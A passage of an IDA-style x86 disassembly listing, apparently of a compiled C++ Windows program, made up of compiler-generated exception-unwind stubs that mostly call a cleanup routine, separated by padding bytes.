		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404010	proc near		; DATA XREF: sub_404010+2o
		mov	eax, offset dword_43F890
		jmp	sub_437AB8
SEH_404010	endp

; ---------------------------------------------------------------------------
		db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4394F8:				; DATA XREF: ___:0043F974o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404690	proc near		; DATA XREF: sub_404690+2o
		mov	eax, offset dword_43F948
		jmp	sub_437AB8
SEH_404690	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43957B:				; DATA XREF: ___:0043F9FCo
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439586:				; DATA XREF: ___:0043FA04o
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-14Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-100h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-134h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-164h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E8h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_404CC0	proc near		; DATA XREF: sub_404CC0+8o
		mov	eax, offset dword_43F9D0
		jmp	sub_437AB8
SEH_404CC0	endp

; ---------------------------------------------------------------------------
		db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------


loc_439820:				; DATA XREF: ___:0043FBD4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-28h]
		and	eax, 1
		test	eax, eax
		jz	locret_43983E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43983E:				; CODE XREF: ___:00439830j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406730	proc near		; DATA XREF: sub_406730+2o
		mov	eax, offset dword_43FBA8
		jmp	sub_437AB8
SEH_406730	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------


loc_439860:				; DATA XREF: ___:0043FC0Co
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-198h]
		and	eax, 1
		test	eax, eax
		jz	locret_439884
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439884:				; CODE XREF: ___:00439876j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4068E0	proc near		; DATA XREF: sub_4068E0+2o
		mov	eax, offset dword_43FBE0
		jmp	sub_437AB8
SEH_4068E0	endp

; ---------------------------------------------------------------------------
		db 11h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-454h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398AB:				; DATA XREF: ___:0043FC44o
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_4398B6:				; DATA XREF: ___:0043FC4Co
		lea	ecx, [ebp-424h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_406C80	proc near		; DATA XREF: sub_406C80+8o
		mov	eax, offset dword_43FC18
		jmp	sub_437AB8
SEH_406C80	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407080	proc near		; DATA XREF: sub_407080+2o
		mov	eax, offset dword_43FC58
		jmp	sub_437AB8
SEH_407080	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4076B0	proc near		; DATA XREF: sub_4076B0+8o
		mov	eax, offset dword_43FC88
		jmp	sub_437AB8
SEH_4076B0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439928:				; DATA XREF: ___:0043FCE4o
		lea	ecx, [ebp+8]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_407740	proc near		; DATA XREF: sub_407740+8o
		mov	eax, offset dword_43FCB8
		jmp	sub_437AB8
SEH_407740	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-2C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43994B:				; DATA XREF: ___:0043FD1Co
		lea	ecx, [ebp-2DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-174h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-204h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-294h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-234h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-264h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-15Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-114h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-144h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-27Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-21Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-9Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-330h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-318h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-348h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-12Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-350h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-2F8h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-300h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4077E0	proc near		; DATA XREF: sub_4077E0+2o
		mov	eax, offset dword_43FCF0
		jmp	sub_437AB8
SEH_4077E0	endp

; ---------------------------------------------------------------------------
		db 0CFh	dup(0CCh)
		dd 90C84D8Dh, 0C5574CE9h
		db 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_409660	proc near		; DATA XREF: sub_409660+2o
		mov	eax, offset dword_4400A0
		jmp	sub_437AB8
SEH_409660	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A370	proc near		; DATA XREF: sub_40A370+2o
		mov	eax, offset dword_4400D0
		jmp	sub_437AB8
SEH_40A370	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-38h]
		and	eax, 1
		test	eax, eax
		jz	locret_439D86
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_439D86:				; CODE XREF: ___:00439D78j
		retn
; ---------------------------------------------------------------------------


loc_439D87:				; DATA XREF: ___:0044012Co
		lea	ecx, [ebp-34h]
		jmp	sub_401596
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40A510	proc near		; DATA XREF: sub_40A510+2o
		mov	eax, offset dword_440100
		jmp	sub_437AB8
SEH_40A510	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0E9C84D8Dh, 75C556CDh
		db 80h
; ---------------------------------------------------------------------------


loc_439DB9:				; DATA XREF: ___:0040AA32o
		mov	eax, offset byte_440140
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40AEF0	proc near		; DATA XREF: sub_40AEF0+5o
		mov	eax, offset dword_440170
		jmp	sub_437AB8
SEH_40AEF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B070	proc near		; DATA XREF: sub_40B070+5o
		mov	eax, offset dword_4401D0
		jmp	sub_437AB8
SEH_40B070	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439DFB:				; DATA XREF: ___:0044025Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B190	proc near		; DATA XREF: sub_40B190+2o
		mov	eax, offset dword_440230
		jmp	sub_437AB8
SEH_40B190	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_439E4B:				; DATA XREF: ___:004402A4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_40155F

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B250	proc near		; DATA XREF: sub_40B250+2o
		mov	eax, offset dword_440278
		jmp	sub_437AB8
SEH_40B250	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B2F0	proc near		; DATA XREF: sub_40B2F0+2o
		mov	eax, offset dword_4402C0
		jmp	sub_437AB8
SEH_40B2F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EC8:				; DATA XREF: ___:0044032Co
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40B510	proc near		; DATA XREF: sub_40B510+2o
		mov	eax, offset dword_440300
		jmp	sub_437AB8
SEH_40B510	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439EF8:				; DATA XREF: ___:0040B6D2o
		mov	eax, offset dword_440340
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F30:				; DATA XREF: ___:0040B9B8o
		mov	eax, offset dword_440370
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C440	proc near		; DATA XREF: sub_40C440+2o
		mov	eax, offset dword_4403B8
		jmp	sub_437AB8
SEH_40C440	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A78h]
		jmp	loc_401B13
; ---------------------------------------------------------------------------


loc_439F7B:				; DATA XREF: ___:00440414o
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439F86:				; DATA XREF: ___:0044041Co
		lea	ecx, [ebp-0A54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40C4E0	proc near		; DATA XREF: sub_40C4E0+8o
		mov	eax, offset dword_4403E8
		jmp	sub_437AB8
SEH_40C4E0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CBF0	proc near		; DATA XREF: sub_40CBF0+2o
		mov	eax, offset dword_440430
		jmp	sub_437AB8
SEH_40CBF0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-260h]
		jmp	loc_40228E
; ---------------------------------------------------------------------------


loc_439FEB:				; DATA XREF: ___:0044048Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_439FF6:				; DATA XREF: ___:00440494o
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A001:				; DATA XREF: ___:0044049Co
		lea	ecx, [ebp-278h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A00C:				; DATA XREF: ___:004404A4o
		lea	ecx, [ebp-278h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CC90	proc near		; DATA XREF: sub_40CC90+8o
		mov	eax, offset dword_440460
		jmp	sub_437AB8
SEH_40CC90	endp

; ---------------------------------------------------------------------------
		db 1Fh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A04B:				; DATA XREF: ___:004404DCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40CF40	proc near		; DATA XREF: sub_40CF40+2o
		mov	eax, offset dword_4404B0
		jmp	sub_437AB8
SEH_40CF40	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A07B:				; DATA XREF: ___:00440514o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A086:				; DATA XREF: ___:0040CFC2o
		mov	eax, offset dword_4404E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D210	proc near		; DATA XREF: sub_40D210+2o
		mov	eax, offset dword_440520
		jmp	sub_437AB8
SEH_40D210	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-16Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A0EB:				; DATA XREF: ___:00440594o
		lea	ecx, [ebp-184h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-19Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40D660	proc near		; DATA XREF: sub_40D660+2o
		mov	eax, offset dword_440568
		jmp	sub_437AB8
SEH_40D660	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-604h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-634h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-664h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-67Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-61Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-694h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_40DC20	proc near		; DATA XREF: sub_40DC20+2o
		mov	eax, offset dword_4405D8
		jmp	sub_437AB8
SEH_40DC20	endp

; ---------------------------------------------------------------------------
		db 27h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43A228:				; DATA XREF: ___:0044069Co
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


